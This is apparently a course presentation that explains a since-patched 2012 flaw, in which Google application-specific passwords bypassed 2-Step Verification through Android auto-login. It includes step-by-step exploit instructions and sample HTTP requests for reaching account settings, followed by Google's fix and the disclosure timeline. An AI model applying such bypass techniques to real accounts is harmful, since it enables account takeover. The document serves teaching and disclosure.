BYPASSING GOOGLE’S TWO-FACTOR AUTHENTICATION

CS558

Richard Tia
WHAT IS MULTI-FACTOR AUTHENTICATION?

- Authentication approach that requires two or more authentication factors
  - Knowledge factor (something the user knows)
  - Possession factor (something the user has)
  - Inherence factor (something the user is)
**GOOGLE'S 2-STEP VERIFICATION (2SV)**

- User's chosen password
  - Knowledge factor
- Code generated by Google and sent to a device owned by the user
  - Possession factor
Google’s Application Specific Passwords can Bypass 2-Step Verification
**GOOGLE’S APPLICATION SPECIFIC PASSWORDS**

**Application-specific passwords**

Some mobile or desktop applications that work outside of a browser aren’t yet compatible with 2-step verification. These applications are hard-coded to ask for a username and password, and do not prompt for a verification code. If you want one of these applications to access your Google Account, you must enter an application-specific password, not your Google Account password, when asked for a password [Learn more].

**Generate new application-specific password**

To create an application-specific password, enter the name of the application or device you will use it for:

- AdWords Editor – Desktop
- Outlook – Home
- AdWords Editor – Desktop

Your application-specific passwords | Creation date
-----------------------------------|--------------
Android Mail                      | Jul 7, 2011  
Outlook                           | Jul 7, 2011  
AdWords Editor – Desktop          | Jul 7, 2011  

**Application-specific password generated**

You may now enter your new application-specific password into your application. For security reasons, it will not be displayed again:

```
bmkf iujx wlvd scze
```

Spaces don’t matter. You should need to enter this password only once - no need to memorize it.

**Your application-specific passwords**

| Application-specific passwords | Creation date |
|-------------------------------|---------------
| Android Mail                  | Jul 7, 2011   |
| Outlook – Home                | Jul 7, 2011   |
| AdWords Editor – Desktop      | Jul 7, 2011   |

[Revoke]
GOOGLE’S APPLICATION SPECIFIC PASSWORDS

- Not exactly application specific
  - Once you generate an ASP for a specific application, that ASP can be used to access other applications
  - Can even be used to access privileged account interfaces
GOOGLE’S APPLICATION SPECIFIC PASSWORDS

- Google restricts browser based ASP use.
- However, automatic login feature is able to bypass this when using a linked device.
GATHERING INFORMATION

- What we know:
  - Some Android devices use ASPs
  - Android devices are able to use automatic login feature

- What we can do:
  - Create an Android emulator instance that will link to a Google account
  - Monitor traffic between the emulator and Google’s server

Request:

```plaintext
POST /auth HTTP/1.1
Host: android.clients.google.com

accountType=HOSTED_OR_GOOGLE&Email=user@40domain.com&has_permission=1&add_account=1&Encrypt
edPasswd=AFCb4...
```

...
After connecting your device to Google’s services, you can take advantage of the auto-login feature.

The POST request includes a URL that has a service parameter formatted like so:

```
weblogin:continue=url_encode(destination_url)
```

Response returns a URL to a Manage Account page.

**Request:**

```
POST /auth HTTP/1.1
Host: android.clients.google.com
...
accountType=HOSTED_OR_GOOGLE&email=user@domain.com&has_permission=1&Token=1%2Ff1Hu...service=weblogin%3Acontinue%3Dhttps%253A%252F%252Faccounts.google.com%252FManageAccount&source=android%3EandroidId=3281f33679ccc6c66app=com.android.browsersclient_sign=61ed377e85d8368dfee6b8645d85b06f6a5af81&device_country=us&operatorCountry=us&lang=en&sdk_version=17
```
EXPLOITING THE FLAW

- What do we need:
  - Username
  - Application Specific Password (ASP)

- Replace the EncryptedPasswd parameter from the POST request with an unencrypted Passwd parameter from the ClientLogin API.

- Set Passwd to the Application Specific Password (ASP)

- A response containing a valid Token is returned

Request:

```
POST /auth HTTP/1.1
Host: android.clients.google.com
...
accountType=HOSTED_OR_GOOGLE&Email=user@40domain.com&has_permission=1&add_account=1&Passwd=xxxxxxxxxxxxxxxxx&service=ac2d&source=android&androidId=3281f33679ccc6c6&device_country=us&operatorCountry=us&lang=en&sdk_version=17
```
EXPLOITING THE FLAW

- Copy the original POST request asking for a token
- Specify the service as the auto-login service
- Set the password as the unencrypted ASP
- The response containing the URL for the Account Management page is returned again!

Request:
POST /auth HTTP/1.1
Host: android.clients.google.com
...
device_country=us&accountType=HOSTED_0R_GOOGLE&androidId=3281f33679ccc6c6cEmail=user40domain.com&service=weblogin%3Acontinue%3Dhttps%3A%2F%2Faccounts.google.com%2FManageAccount&source=android&Passwd=xxxxxxxxxxxxx&operatorCountry=us&sdk_version=17&has_permission=1

Response:
Expiration=0
Google’s Fix

- Google now maintains a per-session state of how a user authenticated.
- If you log in using the URL with the weblogin service, you are not allowed to access any sensitive data (i.e., the account settings page).
- If you try accessing the account settings page, you’ll be prompted to perform Google’s 2-Step Verification.
Responsible Disclosure

- July 16, 2012
  - Researchers at DuoSecurity, Craig Young, and numerous other discovered this flaw in and reported their findings to google.

- February 21, 2013
  - Google pushed a fix that prevents ASP-initiated sessions from accessing sensitive account information

- February 25, 2013
  - DuoSecurity publicly discloses their previous findings.
SOURCES

- https://blog.duosecurity.com/2013/02/bypassing-gogles-two-factor-authentication/
- https://developers.google.com/accounts/docs/AuthForInstalledApps
- http://support.google.com/accounts/bin/answer.py?hl=en&answer=185833
- http://en.wikipedia.org/wiki/Multi-factor_authentication